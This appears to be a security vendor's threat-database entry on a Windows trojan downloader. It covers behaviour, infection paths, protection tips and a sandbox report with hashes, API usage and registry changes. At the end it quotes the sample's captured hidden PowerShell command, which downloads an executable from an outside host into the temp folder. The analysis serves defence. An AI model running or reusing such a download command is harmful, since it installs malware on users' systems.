Threat Database Trojans Trojan.Agent.Gen.DZR

Trojan.Agent.Gen.DZR

By CagedTech in Trojans
Published:
Last updated:

Threat Scorecard

Popularity Rank: 19,710
Threat Level: 80 % (High)
First Seen: July 18, 2026
Last Seen: September 1, 2026
OS(es) Affected: Windows

Trojan.Agent.Gen.DZR is a dangerous Trojan horse that targets Windows computers. Classified with a high danger level, this threat is designed to infiltrate systems quietly, run malicious code in the background, and open the door for further compromise. It has been observed active in recent months, and its behavior pattern is consistent with other generic Trojan downloaders that are commonly used to deliver additional malicious payloads to infected machines.

What Trojan.Agent.Gen.DZR Does

Once active on a system, Trojan.Agent.Gen.DZR runs silently in the background without any visible windows or obvious signs, making it difficult for an average user to notice. Analysis of its behavior shows that it relies heavily on hidden PowerShell commands executed through the Windows command line to quietly download additional files from remote servers onto the infected computer. These downloaded files are typically saved to temporary folders and can be used to install further malicious components.

The Trojan also communicates with remote servers over the network, using standard internet connection functions to send and receive data, which suggests it can report information back to attackers or pull down new instructions and payloads. It gathers basic information about the computer, such as the username, computer name, and network configuration, which can help attackers tailor further attacks or confirm a successful infection. The malware also includes techniques commonly used to avoid detection and analysis, such as checking for the presence of debugging tools and manipulating its own process memory. This combination of stealth, remote communication, and the ability to fetch and run more malware makes it a serious threat, as it may allow hackers to gain extensive control over the compromised system.

How It Usually Gets Onto Computers

Trojan.Agent.Gen.DZR typically spreads through deceptive means rather than exploiting a single specific flaw. Common infection paths for this type of threat include software downloaded from untrustworthy or malicious websites, bundled installers, and email attachments disguised as harmless files such as executables, images, or video files. In some cases, Trojans like this take advantage of unpatched system vulnerabilities to install themselves without the user's knowledge or consent. Because the installation process is designed to be silent, victims often have no indication that anything has changed on their computer.

Risks for the User

Once installed, Trojan.Agent.Gen.DZR can expose a user to serious risks. Its ability to quietly download and execute additional files means it can act as a gateway for other malware, including spyware, ransomware, or remote access tools. The information-gathering capabilities raise concerns about privacy, while the network communication features suggest that attackers could remotely issue commands or exfiltrate data. Overall, an infected machine can no longer be considered trustworthy or secure.

Signs of Infection

Because this Trojan is built to operate covertly, visible symptoms are often minimal. Users may notice unexpected network activity, unusual processes or PowerShell windows briefly flashing on screen, sluggish system performance, or unfamiliar files appearing in temporary folders. Security software alerts flagging suspicious activity are often the most reliable indicator of an infection.

How to Stay Protected

To reduce the risk of infection, users should avoid opening email attachments from unknown or unverified senders, especially executable files disguised as documents or images. Keeping the Windows operating system and installed software updated helps close security gaps that Trojans often exploit. Downloading software only from official and reputable sources, avoiding pirated content, and maintaining regular backups of important data are also strong defensive habits. Running reputable, up-to-date security software and remaining cautious about unexpected prompts or downloads can go a long way toward keeping systems safe from threats like Trojan.Agent.Gen.DZR.

Analysis Report

General information

Family Name: Trojan.Agent.Gen.DZR
Signature status: No Signature

Known Samples

MD5: 446f7c40546602daea4c68d1747fda95
SHA1: df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256: D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
File Size: 408.06 KB, 408064 bytes

Windows Portable Executable Attributes

  • File doesn't have "Rich" header
  • File doesn't have exports table
  • File doesn't have security information
  • File has TLS information
  • File is 64-bit executable
  • File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
  • File is either console or GUI application
  • File is Native application (NOT .NET application)
  • File is not packed
  • IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Traits

  • GetConsoleWindow
  • No Version Info
  • x64

Block Information

Total Blocks: 1,065
Potentially Malicious Blocks: 186
Whitelisted Blocks: 826
Unknown Blocks: 53

Visual Map

0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block

Similar Families

Files Modified

File Attributes
\device\namedpipe\dav rpc service Generic Read,Write Data,Write Attributes,Write extended,Append data
\device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\wkssvc Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 Generic Write,Read Attributes

Registry Modifications

Key::Value Data API Name
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe 畧D㪂ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe ﶱl㪂ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 必o㪂ǝ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enablefiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::filetracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::consoletracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::maxfilesize  RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::filedirectory %windir%\tracing RegNtPreCreateKey
Show 7 more
HKLM\software\microsoft\tracing\rasmancs::enablefiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::filetracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::consoletracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::maxfilesize  RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::filedirectory %windir%\tracing RegNtPreCreateKey

Windows API Usage

Category API
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAllocateLocallyUniqueId
  • ntdll.dll!NtAlpcConnectPort
  • ntdll.dll!NtAlpcConnectPortEx
  • ntdll.dll!NtAlpcCreatePortSection
  • ntdll.dll!NtAlpcCreateSectionView
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcDeleteSecurityContext
  • ntdll.dll!NtAlpcQueryInformation
Show 90 more
  • ntdll.dll!NtAlpcQueryInformationMessage
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtAlpcSetInformation
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtAssociateWaitCompletionPacket
  • ntdll.dll!NtCancelTimer2
  • ntdll.dll!NtCancelWaitCompletionPacket
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtCompareSigningLevels
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateIoCompletion
  • ntdll.dll!NtCreateKey
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreatePrivateNamespace
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateThreadEx
  • ntdll.dll!NtCreateTimer
  • ntdll.dll!NtCreateTimer2
  • ntdll.dll!NtCreateWaitCompletionPacket
  • ntdll.dll!NtCreateWorkerFactory
  • ntdll.dll!NtDelayExecution
  • ntdll.dll!NtDeviceIoControlFile
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateKey
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFlushProcessWriteBuffers
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtFsControlFile
  • ntdll.dll!NtGetCachedSigningLevel
  • ntdll.dll!NtGetCompleteWnfStateSubscription
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtNotifyChangeKey
  • ntdll.dll!NtOpenDirectoryObject
  • ntdll.dll!NtOpenEvent
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenProcess
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenSymbolicLinkObject
  • ntdll.dll!NtOpenThread
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryDefaultLocale
  • ntdll.dll!NtQueryDirectoryFileEx
  • ntdll.dll!NtQueryFullAttributesFile
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationJobObject
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryObject
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySecurityObject
  • ntdll.dll!NtQuerySymbolicLinkObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQuerySystemInformationEx
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtQueueApcThread
  • ntdll.dll!NtQueueApcThreadEx2
  • ntdll.dll!NtReadFile
  • ntdll.dll!NtReadRequestData
  • ntdll.dll!NtReadVirtualMemory
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtResumeThread
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationFile
  • ntdll.dll!NtSetInformationKey
  • ntdll.dll!NtSetInformationObject
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationThread

31 additional items are not displayed above.

Process Manipulation Evasion
  • NtUnmapViewOfSection
Process Shell Execute
  • CreateProcess
Anti Debug
  • IsDebuggerPresent
  • NtQuerySystemInformation
User Data Access
  • GetComputerName
  • GetUserDefaultLocaleName
  • GetUserName
  • GetUserNameEx
  • GetUserObjectInformation
Encryption Used
  • BCryptOpenAlgorithmProvider
Other Suspicious
  • AdjustTokenPrivileges
Network Info Queried
  • GetAdaptersAddresses
  • GetNetworkParams
Network Winsock2
  • WSAConnect
  • WSASend
  • WSASocket
  • WSAStartup
  • WSAttemptAutodialName
Network Winsock
  • closesocket
  • freeaddrinfo
  • getaddrinfo
  • setsockopt
Network Winhttp
  • WinHttpOpen

Shell Command Execution

C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe